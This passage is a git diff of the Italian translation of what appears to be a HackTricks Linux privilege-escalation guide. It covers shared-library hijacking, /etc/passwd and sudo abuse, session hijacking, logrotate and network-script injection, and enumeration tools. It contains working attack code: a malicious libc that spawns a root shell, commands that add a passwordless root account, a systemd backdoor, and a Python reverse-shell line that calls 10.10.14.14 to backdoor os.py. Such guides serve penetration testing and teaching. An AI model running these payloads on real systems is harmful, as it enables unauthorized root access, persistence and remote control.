nuovo percorso. Ad esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Oppure eseguendo qualcosa come: +Oppure eseguendo qualcosa del tipo: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Copiando la libreria in `/var/tmp/flag15/`, verrà utilizzata dal programma in questa posizione come specificato nella variabile `RPATH`. +Copiando la libreria in `/var/tmp/flag15/` verrà utilizzata dal programma in questo percorso come specificato nella variabile `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1042,7 +1068,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Quindi crea una libreria dannosa in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Poi crea una libreria malevola in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1055,44 +1081,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capacità +## Capabilities -Le capabilities di Linux forniscono un **sottoinsieme dei privilegi root disponibili a un processo**. Questo suddivide effettivamente i privilegi root in **unità più piccole e distinte**. Ciascuna di queste unità può poi essere concessa indipendentemente ai processi. In questo modo l'insieme completo dei privilegi viene ridotto, diminuendo i rischi di sfruttamento.\ -Leggi la pagina seguente per **saperne di più sulle capabilities e su come abusarne**: +Le capabilities di Linux forniscono un **sottoinsieme dei privilegi di root disponibili a un processo**. Questo suddivide efficacemente i privilegi di root in **unità più piccole e distinte**. Ciascuna di queste unità può quindi essere concessa indipendentemente ai processi. In questo modo l'insieme completo dei privilegi è ridotto, diminuendo i rischi di exploitation.\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} linux-capabilities.md {{#endref}} -## Permessi delle directory +## Directory permissions -In una directory, il **bit "execute"** implica che l'utente interessato può "**cd**" nella cartella.\ -Il bit **"read"** implica che l'utente può **elencare** i **file**, e il bit **"write"** implica che l'utente può **cancellare** e **creare** nuovi **file**. +In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ +The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. ## ACLs -Le Access Control Lists (ACL) rappresentano il livello secondario di permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory permettendo o negando diritti a utenti specifici che non sono i proprietari o membri del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità assicura una gestione degli accessi più precisa**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Concedi** all'utente "kali" permessi di lettura e scrittura su un file: +**Concedi** user "kali" permessi di lettura e scrittura su un file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Ottieni** file con ACLs specifiche dal sistema: +**Ottieni** file con ACL specifiche dal sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Sessioni shell aperte +## Aprire sessioni shell -Nelle **vecchie versioni** potresti **hijack** alcune sessioni **shell** di un altro utente (**root**).\ -Nelle **versioni più recenti** potrai **connetterti** alle sessioni screen solo del **tuo stesso user**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. +Nelle **vecchie versioni** puoi **hijack** qualche sessione **shell** di un utente diverso (**root**).\ +Nelle **versioni più recenti** potrai **connect** alle screen sessions solo del **tuo stesso utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. -### hijacking delle sessioni screen +### screen sessions hijacking -**Elenca le sessioni screen** +**Elenca screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1107,7 +1133,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Questo era un problema con le **vecchie versioni di tmux**. Non sono riuscito a hijack una sessione tmux (v2.1) creata da root come utente non privilegiato. +Questo era un problema delle **vecchie versioni di tmux**. Non sono riuscito a hijackare una sessione tmux (v2.1) creata da root come utente non privilegiato. **Elenca le sessioni tmux** ```bash @@ -1127,72 +1153,72 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Vedi **Valentine box from HTB** per un esempio. +Vedi la **Valentine box di HTB** per un esempio. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Tutte le SSL and SSH keys generate su sistemi basati su Debian (Ubuntu, Kubuntu, etc) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\ -Questo bug si verifica quando si crea una nuova ssh key in quegli OS, poiché **solo 32,768 variazioni erano possibili**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la ssh public key puoi cercare la private key corrispondente**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\ +Questo bug si verifica quando si crea una nuova ssh key in quegli OS, poiché **solo 32,768 variazioni erano possibili**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la ssh public key puoi cercare la corrispondente private key**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Valori di configurazione interessanti +### SSH Interesting configuration values -- **PasswordAuthentication:** Specifica se l'autenticazione tramite password è consentita. Il valore predefinito è `no`. -- **PubkeyAuthentication:** Specifica se l'autenticazione tramite public key è consentita. Il valore predefinito è `yes`. -- **PermitEmptyPasswords**: Quando l'autenticazione tramite password è consentita, specifica se il server permette il login ad account con stringhe di password vuote. Il valore predefinito è `no`. +- **PasswordAuthentication:** Specifica se l'autenticazione tramite password è consentita. Il valore di default è `no`. +- **PubkeyAuthentication:** Specifica se l'autenticazione con chiave pubblica è consentita. Il valore di default è `yes`. +- **PermitEmptyPasswords**: Quando l'autenticazione tramite password è consentita, specifica se il server permette il login ad account con stringhe di password vuote. Il valore di default è `no`. ### PermitRootLogin -Specifica se root può effettuare il login usando ssh, il valore predefinito è `no`. Valori possibili: +Specifica se root può effettuare il login usando ssh, il valore di default è `no`. Valori possibili: -- `yes`: root può effettuare il login usando password e private key -- `without-password` or `prohibit-password`: root può effettuare il login solo con una private key -- `forced-commands-only`: Root può effettuare il login solo usando private key e se sono specificate le opzioni commands +- `yes`: root può effettuare il login usando password e chiave privata +- `without-password` or `prohibit-password`: root può loggare solo con una chiave privata +- `forced-commands-only`: Root può loggare solo usando una chiave privata e se sono specificate le opzioni di comando - `no` : no ### AuthorizedKeysFile -Specifica i file che contengono le public keys che possono essere usate per l'autenticazione degli utenti. Può contenere token come `%h`, che verrà sostituito con la home directory. **Puoi indicare percorsi assoluti** (starting in `/`) o **percorsi relativi dalla home dell'utente**. Per esempio: +Specifica i file che contengono le chiavi pubbliche che possono essere usate per l'autenticazione degli utenti. Può contenere token come `%h`, che verrà sostituito con la home directory. **Puoi indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Per esempio: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Questa configurazione indicherà che se provi a effettuare il login con la **private** key dell'utente "**testusername**", ssh confronterà la public key della tua key con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Questa configurazione indica che, se provi a effettuare il login con la **chiave privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica associata con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permette di **use your local SSH keys instead of leaving keys** (without passphrases!) sul tuo server. Quindi sarai in grado di **jump** via ssh **to a host** e da lì **jump to another** host **using** the **key** located in your **initial host**. +SSH agent forwarding permette di **usare le tue local SSH keys invece di lasciare chiavi** (senza passphrase!) sul server. Così, potrai **jump** via ssh **a un host** e da lì **jumpare a un altro** host **usando** la **chiave** presente nel tuo **host iniziale**. -Devi impostare questa opzione in `$HOME/.ssh.config` come segue: +Devi impostare questa opzione in `$HOME/.ssh.config` così: ``` Host example.com ForwardAgent yes ``` -Nota che se `Host` è `*` ogni volta che l'utente salta su una macchina diversa, quell'host potrà accedere alle chiavi (il che è un problema di sicurezza). +Nota che se `Host` è `*` ogni volta che l'utente si connette a una macchina diversa, quell'host potrà accedere alle chiavi (il che rappresenta un problema di sicurezza). Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e permettere o negare questa configurazione.\ -Il file `/etc/sshd_config` può **consentire** o **negare** ssh-agent forwarding con la keyword `AllowAgentForwarding` (default è allow). +Il file `/etc/sshd_config` può **permettere** o **negare** ssh-agent forwarding con la parola chiave `AllowAgentForwarding` (default is allow). -Se scopri che Forward Agent è configurato in un ambiente, leggi la pagina seguente perché **potresti riuscire ad abusarne per elevare i privilegi**: +Se trovi che Forward Agent è configurato in un ambiente leggi la pagina seguente poiché **potresti essere in grado di abusarne per escalare i privilegi**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## File di interesse +## File interessanti -### File di profilo +### File dei profili -Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno qualsiasi di essi puoi elevare i privilegi**. +Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno qualsiasi di essi puoi elevare i privilegi**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se viene trovato uno script di profilo sospetto dovresti controllarlo per **dettagli sensibili**. +Se viene trovato uno script di profilo strano dovresti controllarlo per **dettagli sensibili**. ### File Passwd/Shadow -A seconda del sistema operativo i file `/etc/passwd` e `/etc/shadow` potrebbero usare un nome diverso o potrebbero esserci delle copie di backup. Perciò si consiglia di **trovarli tutti** e **controllare se puoi leggerli** per vedere **se ci sono hash** all'interno dei file: +A seconda del sistema operativo i file `/etc/passwd` e `/etc/shadow` possono avere un nome diverso o potrebbe esserci una copia di backup. Perciò si raccomanda di **trovarli tutti** e **verificare se puoi leggerli** per vedere **se ci sono hash** all'interno dei file: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1203,7 +1229,7 @@ In alcune occasioni puoi trovare **password hashes** all'interno del file `/etc/ ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Scrivibile /etc/passwd +### /etc/passwd scrivibile Per prima cosa, genera una password con uno dei seguenti comandi. ``` @@ -1211,28 +1237,27 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Quindi aggiungi l'utente `hacker` e imposta la password generata. +Poi aggiungi l'utente `hacker` e aggiungi la password generata. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Esempio: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Es.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Puoi ora usare il comando `su` con `hacker:hacker` +Ora puoi usare il comando `su` con `hacker:hacker` -In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.\ -ATTENZIONE: potresti degradare la sicurezza attuale della macchina. +In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.\ ATTENZIONE: potresti compromettere la sicurezza della macchina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Nelle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. +NOTA: Su piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è stato rinominato in `/etc/spwd.db`. -Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Per esempio, puoi scrivere in qualche **file di configurazione del servizio**? +Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione del servizio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Ad esempio, se la macchina esegue un server **tomcat** e puoi **modificare il file di configurazione del servizio Tomcat in /etc/systemd/,** allora puoi modificare le righe: +Ad esempio, se la macchina esegue un server **tomcat** e puoi **modificare il file di configurazione del servizio Tomcat all'interno di /etc/systemd/**, allora puoi modificare le righe: ``` ExecStart=/path/to/backdoor User=root @@ -1242,11 +1267,11 @@ La tua backdoor verrà eseguita la prossima volta che tomcat verrà avviato. ### Controlla le cartelle -Le seguenti cartelle possono contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non potrai leggere l'ultima, ma prova) +Le seguenti cartelle possono contenere backups o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non potrai leggere l'ultima, ma prova) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Posizione strana/File owned +### Posizioni insolite/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1267,7 +1292,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### File DB di Sqlite +### File di database Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1279,12 +1304,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binari in PATH** +### **Script/Binaries in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **File Web** +### **File web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1298,19 +1323,19 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### File noti contenenti password Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file che potrebbero contenere password**.\ -**Un altro strumento interessante** che puoi usare è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte password memorizzate su un computer locale per Windows, Linux & Mac. +**Another interesting tool** che puoi usare a questo scopo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte password memorizzate su un computer locale per Windows, Linux & Mac. -### Log +### Logs -Se puoi leggere i log, potresti riuscire a trovare **informazioni interessanti/confidenziali al loro interno**. Più il log è strano, più probabilmente sarà interessante.\ -Inoltre, alcuni **"bad"** configurati (compromessi?) **audit logs** possono permetterti di **registrare password** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se riesci a leggere i logs, potresti trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è un log, più sarà interessante (probabilmente).\ +Inoltre, alcuni "**bad**" configurati (backdoored?) **audit logs** potrebbero permetterti di **registrare password** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Per leggere i log il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile. +Il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) è molto utile per **leggere i log**. -### File di shell +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1323,41 +1348,41 @@ Per leggere i log il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm ``` ### Generic Creds Search/Regex -Dovresti anche cercare file che contengono la parola "**password**" nel loro **nome** o nel **contenuto**, e controllare anche IPs e emails all'interno dei logs, o hashes regexps.\ -Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +Dovresti anche controllare i file che contengono la parola "**password**" nel loro **nome** o all'interno del **contenuto**, e anche cercare IPs e emails nei log, o hash tramite regexp.\ +Non descriverò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue. ## File scrivibili ### Python library hijacking -Se sai da **dove** verrà eseguito uno script python e **puoi scrivere dentro** quella cartella o puoi **modificare python libraries**, puoi modificare la libreria os e inserirci una backdoor (se puoi scrivere nel percorso in cui verrà eseguito lo script python, copia e incolla la libreria os.py). +Se sai da **where** verrà eseguito uno script python e **can write inside** quella cartella o puoi **modify python libraries**, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py). -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Per **backdoor the library** aggiungi alla fine della libreria os.py la seguente riga (cambia IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Sfruttamento di logrotate -Una vulnerabilità in `logrotate` permette agli utenti con **permessi di scrittura** su un file di log o sulle sue directory padre di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory dove viene applicata la rotazione dei log. +Una vulnerabilità in `logrotate` permette a utenti con **permessi di scrittura** su un file di log o sulle directory parent di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, che spesso gira come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory dove viene applicata la rotazione dei log. > [!TIP] -> Questa vulnerabilità interessa `logrotate` versione `3.18.0` e precedenti +> Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e precedenti -Maggiori informazioni sulla vulnerabilità sono disponibili a questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Maggiori dettagli sulla vulnerabilità si trovano a questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -È possibile sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). +Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). -Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi ogni volta che scopri di poter modificare i log, controlla chi gestisce quei log e verifica se puoi ottenere l'escalation dei privilegi sostituendo i log con symlink. +Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi ogni volta che trovi di poter modificare i log, verifica chi gestisce quei log e controlla se puoi ottenere escalation di privilegi sostituendo i log con symlink. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Riferimento della vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è pwned**. +Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **oppure** può **modificare** uno esistente, allora il tuo **sistema è pwned**. -Network scripts, _ifcg-eth0_ per esempio sono usati per connessioni di rete. Assomigliano esattamente a file .INI. Tuttavia, sono ~sourced~ su Linux da Network Manager (dispatcher.d). +Gli script di rete, _ifcg-eth0_ per esempio, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono \~sourced\~ su Linux da Network Manager (dispatcher.d). -Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **uno spazio bianco nel nome il sistema tenta di eseguire la parte dopo lo spazio bianco**. Questo significa che **tutto ciò che segue il primo spazio viene eseguito come root**. +Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **spazio bianco nel nome, il sistema prova ad eseguire la parte dopo lo spazio bianco**. Questo significa che **tutto ciò che segue il primo spazio viene eseguito come root**. Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1369,11 +1394,11 @@ DEVICE=eth0 ### **init, init.d, systemd, e rc.d** -La directory `/etc/init.d` ospita gli **scripts** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Contiene script per `start`, `stop`, `restart` e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici trovati in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. +La directory `/etc/init.d` ospita **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `start`, `stop`, `restart`, e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici presenti in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. -D'altra parte, `/etc/init` è associata a **Upstart**, un più recente sistema di **service management** introdotto da Ubuntu, che usa file di configurazione per le attività di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un livello di compatibilità in Upstart. +D'altra parte, `/etc/init` è associata a **Upstart**, una più recente **gestione dei servizi** introdotta da Ubuntu, che utilizza file di configurazione per le attività di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a uno strato di compatibilità in Upstart. -**systemd** è emerso come un moderno gestore di init e servizi, offrendo funzionalità avanzate come avvio di daemon on-demand, gestione degli automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando il processo di amministrazione del sistema. +**systemd** emerge come un moderno gestore di inizializzazione e servizi, offrendo funzionalità avanzate come avvio on-demand dei daemon, gestione degli automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti della distribuzione e in `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando il processo di amministrazione del sistema. ## Altri Trucchi @@ -1400,8 +1425,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -I framework di Android rooting comunemente agganciano una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Un'autenticazione debole del manager (es. controlli di firma basati su FD-order o schemi di password poveri) può permettere a un'app locale di impersonare il manager e ottenere root su dispositivi già rootati. Per saperne di più e dettagli sull'exploitation, vedi: - +I framework di rooting Android comunemente hookano una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Una debole autenticazione del manager (es. controlli di firma basati sull'ordine degli FD o schemi di password scadenti) può permettere a un'app locale di impersonare il manager ed eseguire escalation a root su dispositivi già rootati. Per saperne di più e dettagli sull'exploitation: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -1412,26 +1436,26 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Ulteriore aiuto +## Ulteriori risorse [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Strumenti Linux/Unix Privesc +## Strumenti Linux/Unix per Privesc -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Miglior tool per cercare vettori di local privilege escalation su Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumera vulnerabilità del kernel in Linux e macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumera vulnerabilità del kernel in Linux e Mac [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (accesso fisico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Raccolta di altri script**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Riferimenti +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1450,6 +1474,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index d1f151b36..a45107036 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
